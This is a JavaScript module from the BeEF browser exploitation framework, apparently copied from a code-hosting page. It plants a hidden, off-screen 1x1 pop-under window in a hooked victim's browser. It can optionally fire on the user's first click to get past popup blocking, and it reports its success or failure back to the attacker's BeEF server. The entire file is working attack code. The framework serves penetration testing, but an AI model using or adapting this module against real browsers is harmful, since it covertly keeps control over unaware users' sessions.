47 lines
1.8 KiB
JavaScript
47 lines
1.8 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
|
|
var popunder_name = Math.random().toString(36).substring(2,10);
|
|
|
|
function popunder() {
|
|
beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');
|
|
|
|
try {
|
|
window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
|
|
window.focus();
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
|
|
} catch(e) {
|
|
beef.debug("[Create Pop-Under] Could not create pop-under window");
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
|
|
}
|
|
|
|
if (document.removeEventListener) {
|
|
// Every sane browser
|
|
document.removeEventListener("click", popunder);
|
|
} else {
|
|
// IE8 and earlier
|
|
document.detachEvent("onclick", popunder);
|
|
}
|
|
}
|
|
|
|
if ('<%= @clickjack %>' == 'on') {
|
|
beef.debug("[Create Pop-Under] Waiting for click event...");
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Waiting for click event');
|
|
if (document.addEventListener) {
|
|
// Every sane browser
|
|
document.addEventListener("click", popunder);
|
|
} else {
|
|
// IE8 and earlier
|
|
document.attachEvent("onclick", popunder);
|
|
}
|
|
} else {
|
|
popunder();
|
|
}
|
|
});
|